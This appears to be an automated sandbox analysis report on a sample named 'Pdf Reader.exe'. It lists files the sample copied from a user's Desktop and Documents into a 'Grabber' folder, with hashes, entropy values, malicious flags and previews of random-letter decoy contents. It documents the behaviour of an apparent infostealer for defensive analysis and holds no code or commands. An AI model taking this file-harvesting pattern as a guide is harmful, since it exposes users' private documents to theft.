Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	true
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ\NWTVCDUMOB.jpg

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ\YPSIACHYXW.png

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700014595314478
Encrypted:	false
SSDEEP:	24:ZUpld6DFp3zvtLC4Tmg3c0x2ngfNqdsD1OqVMyUXHt/Sv0vyjsbsV:upqDL3hO4TRc4Eq8tKvYgV
MD5:	960373CA97DEDBA8576ECF40D0D1E39D
SHA1:	E89C5AC4CF0B920C373CFA7D365C40C1009A14F6
SHA-256:	501DC438F0E931ABED9FDE388BA5A8FAE8445117823118C413F54793F0E10FD7
SHA-512:	93B34F6BC4DCEA41103E31272F2DC9CF07CC100F934CECC8F4317525DA65128DBBAD75B23CE40D46EE1DC11D10147250CAE33F01220F5624E2406B2596B726EB
Malicious:	false
Preview:	YPSIACHYXWDOAOALJCJYYKHKMGYIZBYLJSULATZCLAKGTHKIZZZPZMBAJFNQKRWGKHDEEYLGCRMYXVOJCXPRDOFVVXDFSZNRLGLUNBQSCSVJXKHLUFNOKRCASVQNUJDYWNWTNGJYBIKCERFIRWTZVUUNKNCMUGKTMSRIVLFQTZDVSHZTYRURNPZRSHICVPPIWUNOSYRCNVXHOFETKZDTIEIOQHCHWHDXEDXBZFSWIFFLXTXQXUBJCTQSDGVAMQKTUHJAAEDEECWFOEDCAALGNKEQRGJPVEEVJPTSROUZFPHKPUHLAYRHVULFESXXGKSAIYLAVSWMISSCMRGVQGXFGFYXBQBRZHILLZQUJRQJHUVBFDBPCNUAKOXURUUUKQNRUEAXAAXWIVATBILRXVUBDTFNWUQLPZELETXDQPCWJXRRAQILAVVZFAMGUWUYYORCQNUYLSNLTNXIAWJVDTPNCZPHSWYWWTBBJECMEGHRCATJANBKSCMLVOBOTXPKGMTOJISGOTUUOFVJPAGNMHFSAFRHQUHMYURLAJVNZPEMNMUDZAUMRZHQJBWVCUSQAENWUTRFBUFUWIPJYVLYDUIBJSTTFGSFBHTKIXJNVJUYJGSHZHMDONOHBMLQDTHGTPLYVKGUXWHEYTHTWOOMQOGUFQGRWUYBVWILTRHBAIJHZKXNAQYAIZBPYWWZSBDWNPRWGFXHNPFFMHKCCERIWCTACKIVXLZBNOTBYDOPJBYTZWNSXYXVYPHAGUHBXKPPAFNZGWEKOBPXTCLBIOEIVWLELPXJAINCDBEUOIFMNFWSRDONSGUCNGDZLIAFVNUQXZMTVJLIACGEXXESAGRKCPJNTKZHMMCTJZCLWNTNEJFUCODLVBCJHINWJYBLRXSKLVKNYGPLXGKEHMXSDKIAPHRGHBOCHQEJPMJEKRMRTLJNYNRHDPPQKJHXGYJMDUOESMBVJOBKJWUUSSZEQAGHANSYFBHIZFXSLENBLJWCHGEM

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\WUTJSCBCFX.pdf

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Desktop\YPSIACHYXW.png

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700014595314478
Encrypted:	false
SSDEEP:	24:ZUpld6DFp3zvtLC4Tmg3c0x2ngfNqdsD1OqVMyUXHt/Sv0vyjsbsV:upqDL3hO4TRc4Eq8tKvYgV
MD5:	960373CA97DEDBA8576ECF40D0D1E39D
SHA1:	E89C5AC4CF0B920C373CFA7D365C40C1009A14F6
SHA-256:	501DC438F0E931ABED9FDE388BA5A8FAE8445117823118C413F54793F0E10FD7
SHA-512:	93B34F6BC4DCEA41103E31272F2DC9CF07CC100F934CECC8F4317525DA65128DBBAD75B23CE40D46EE1DC11D10147250CAE33F01220F5624E2406B2596B726EB
Malicious:	false
Preview:	YPSIACHYXWDOAOALJCJYYKHKMGYIZBYLJSULATZCLAKGTHKIZZZPZMBAJFNQKRWGKHDEEYLGCRMYXVOJCXPRDOFVVXDFSZNRLGLUNBQSCSVJXKHLUFNOKRCASVQNUJDYWNWTNGJYBIKCERFIRWTZVUUNKNCMUGKTMSRIVLFQTZDVSHZTYRURNPZRSHICVPPIWUNOSYRCNVXHOFETKZDTIEIOQHCHWHDXEDXBZFSWIFFLXTXQXUBJCTQSDGVAMQKTUHJAAEDEECWFOEDCAALGNKEQRGJPVEEVJPTSROUZFPHKPUHLAYRHVULFESXXGKSAIYLAVSWMISSCMRGVQGXFGFYXBQBRZHILLZQUJRQJHUVBFDBPCNUAKOXURUUUKQNRUEAXAAXWIVATBILRXVUBDTFNWUQLPZELETXDQPCWJXRRAQILAVVZFAMGUWUYYORCQNUYLSNLTNXIAWJVDTPNCZPHSWYWWTBBJECMEGHRCATJANBKSCMLVOBOTXPKGMTOJISGOTUUOFVJPAGNMHFSAFRHQUHMYURLAJVNZPEMNMUDZAUMRZHQJBWVCUSQAENWUTRFBUFUWIPJYVLYDUIBJSTTFGSFBHTKIXJNVJUYJGSHZHMDONOHBMLQDTHGTPLYVKGUXWHEYTHTWOOMQOGUFQGRWUYBVWILTRHBAIJHZKXNAQYAIZBPYWWZSBDWNPRWGFXHNPFFMHKCCERIWCTACKIVXLZBNOTBYDOPJBYTZWNSXYXVYPHAGUHBXKPPAFNZGWEKOBPXTCLBIOEIVWLELPXJAINCDBEUOIFMNFWSRDONSGUCNGDZLIAFVNUQXZMTVJLIACGEXXESAGRKCPJNTKZHMMCTJZCLWNTNEJFUCODLVBCJHINWJYBLRXSKLVKNYGPLXGKEHMXSDKIAPHRGHBOCHQEJPMJEKRMRTLJNYNRHDPPQKJHXGYJMDUOESMBVJOBKJWUUSSZEQAGHANSYFBHIZFXSLENBLJWCHGEM

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\BPMLNOBVSB.png

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\DVWHKMNFNN.pdf

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\DVWHKMNFNN.xlsx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Documents\HTAGVDFUIE.png

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
